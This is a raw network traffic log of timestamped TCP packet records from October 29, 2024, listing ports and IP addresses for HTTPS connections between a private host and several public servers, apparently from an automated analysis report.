Oct 29, 2024 18:42:18.930581093 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.930591106 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.934369087 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.934442997 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.934451103 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.977873087 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.981468916 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.990860939 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.990962982 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.990971088 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.991163969 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:18.991231918 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:18.991239071 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.001810074 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.001915932 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.001956940 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.001971960 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.002224922 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.047581911 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.051341057 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.051433086 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.051496983 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.051507950 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.051606894 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.051615000 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.098747015 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.098829031 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.098838091 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.099070072 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.099153996 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.099160910 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.108242989 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.108304024 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.108313084 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.109626055 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.109714985 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.109777927 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.109786034 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.109848976 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.109880924 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.110119104 CET	443	49711	142.250.185.228	192.168.2.5
Oct 29, 2024 18:42:19.110342026 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.110342026 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.110367060 CET	49711	443	192.168.2.5	142.250.185.228
Oct 29, 2024 18:42:19.140389919 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.140456915 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.144928932 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.144942999 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.145247936 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.158050060 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.199357033 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.402569056 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.402595997 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.402611017 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.402672052 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.402707100 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.402738094 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.402759075 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.519936085 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.520004988 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.520052910 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.520086050 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.520117044 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.520394087 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.637360096 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.637428045 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.637454033 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.637480021 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.637517929 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.637537956 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.755018950 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.755083084 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.755110979 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.755127907 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.755160093 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.755182028 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.871840000 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.871902943 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.871932983 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.871952057 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.871987104 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.872009039 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.988688946 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.988781929 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.988833904 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.988858938 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:19.988893032 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:19.988918066 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.105848074 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.105899096 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.105987072 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.106025934 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.106074095 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.107988119 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.223123074 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.223170042 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.223256111 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.223289967 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.223336935 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.223498106 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.224253893 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.224299908 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.224335909 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.224349976 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.224378109 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.224400997 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.341423988 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.341476917 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.341519117 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.341542006 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.341574907 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.341593981 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.458296061 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.458353996 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.458380938 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.458396912 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.458427906 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.458451986 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.575191975 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.575248003 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.575298071 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.575346947 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.575380087 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.576126099 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.576550961 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.576598883 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.576638937 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.576653004 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.576682091 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.576706886 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.577297926 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.577488899 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.577502966 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.577543974 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.577559948 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.577590942 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.600272894 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.600272894 CET	49714	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:20.600301981 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:20.600326061 CET	443	49714	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.030028105 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.030057907 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.030632019 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.030674934 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.030692101 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.030740023 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.031589985 CET	49722	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.031598091 CET	443	49722	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.031663895 CET	49722	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.032356977 CET	49723	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.032366991 CET	443	49723	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.032392025 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.032402992 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.032428980 CET	49723	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.032507896 CET	49723	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.032524109 CET	443	49723	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.032572031 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.032581091 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.034673929 CET	49722	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.034682989 CET	443	49722	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.040360928 CET	49724	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.040380955 CET	443	49724	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.040504932 CET	49724	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.040601015 CET	49724	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.040611029 CET	443	49724	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.156053066 CET	49725	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:21.156105042 CET	443	49725	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:21.156172037 CET	49725	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:21.157603979 CET	49725	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:21.157624006 CET	443	49725	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:21.386143923 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:21.386187077 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:21.386260986 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:21.387227058 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:21.387240887 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:21.767127037 CET	443	49723	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.767594099 CET	49723	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.767616987 CET	443	49723	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.768918991 CET	49723	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.768927097 CET	443	49723	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.771413088 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.771725893 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.771748066 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.771759033 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.772438049 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.772444010 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.775666952 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.775679111 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.776093006 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.776098967 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.785906076 CET	443	49724	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.786509991 CET	49724	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.786516905 CET	443	49724	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.786896944 CET	49724	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.786900997 CET	443	49724	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.807895899 CET	443	49722	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.808284044 CET	49722	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.808300972 CET	443	49722	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.808758020 CET	49722	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.808764935 CET	443	49722	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.901679993 CET	443	49723	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.901699066 CET	443	49723	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.901751041 CET	49723	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.901779890 CET	443	49723	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.901859045 CET	443	49723	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.901916027 CET	49723	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.902033091 CET	49723	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.902033091 CET	49723	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.902050972 CET	443	49723	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.902061939 CET	443	49723	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.904056072 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.904118061 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.904171944 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.904184103 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.904227018 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.904233932 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.904298067 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.904349089 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.904561996 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.904578924 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.904591084 CET	49720	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.904597044 CET	443	49720	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.904803991 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.904906988 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.904942036 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.904997110 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.905208111 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.905261040 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.905379057 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.905394077 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.905435085 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.905435085 CET	49721	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.905447006 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.905464888 CET	443	49721	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.907172918 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.907198906 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.907248974 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.907355070 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.907366037 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.907949924 CET	49730	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.907974958 CET	443	49730	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.908034086 CET	49730	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.908149958 CET	49730	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.908163071 CET	443	49730	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.922064066 CET	443	49724	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.922523975 CET	443	49724	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.922578096 CET	49724	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.922606945 CET	49724	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.922619104 CET	443	49724	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.922627926 CET	49724	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.922631979 CET	443	49724	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.924983025 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.924999952 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.925050020 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.925168037 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.925184011 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.945390940 CET	443	49722	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.945415020 CET	443	49722	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.945470095 CET	49722	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.945480108 CET	443	49722	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.945511103 CET	443	49722	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.945522070 CET	49722	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.945549965 CET	49722	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.945689917 CET	49722	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.945702076 CET	443	49722	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.945717096 CET	49722	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.945723057 CET	443	49722	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.948710918 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.948730946 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:21.948795080 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.948900938 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:21.948910952 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.019682884 CET	443	49725	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:22.019757032 CET	49725	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:22.021692038 CET	49725	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:22.021699905 CET	443	49725	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:22.021931887 CET	443	49725	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:22.071641922 CET	49725	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:22.098208904 CET	49725	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:22.139357090 CET	443	49725	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:22.338187933 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:22.338249922 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:22.344660044 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:22.344681025 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:22.345002890 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:22.347532988 CET	443	49725	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:22.347713947 CET	443	49725	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:22.347809076 CET	49725	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:22.352150917 CET	49725	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:22.352173090 CET	443	49725	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:22.352188110 CET	49725	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:22.352195978 CET	443	49725	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:22.384291887 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:22.489097118 CET	49737	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:22.489160061 CET	443	49737	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:22.489826918 CET	49737	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:22.490083933 CET	49737	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:22.490114927 CET	443	49737	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:22.558410883 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:22.558445930 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:22.558636904 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:22.559072971 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:22.559089899 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:22.630245924 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.630764961 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.630774975 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.631192923 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.631196976 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.645437956 CET	443	49730	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.645881891 CET	49730	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.645900965 CET	443	49730	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.646325111 CET	49730	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.646328926 CET	443	49730	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.646522999 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.647238016 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.647238016 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.647255898 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.647264957 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.654660940 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.655018091 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.655035973 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.655419111 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.655424118 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.693739891 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.694252014 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.694267035 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.694689035 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.694694996 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.775835991 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.776607990 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.776670933 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.776719093 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.776731968 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.776740074 CET	49729	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.776745081 CET	443	49729	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.776973009 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.777493954 CET	443	49730	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.777642965 CET	443	49730	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.777652979 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.777704000 CET	49730	443	192.168.2.5	13.107.246.45
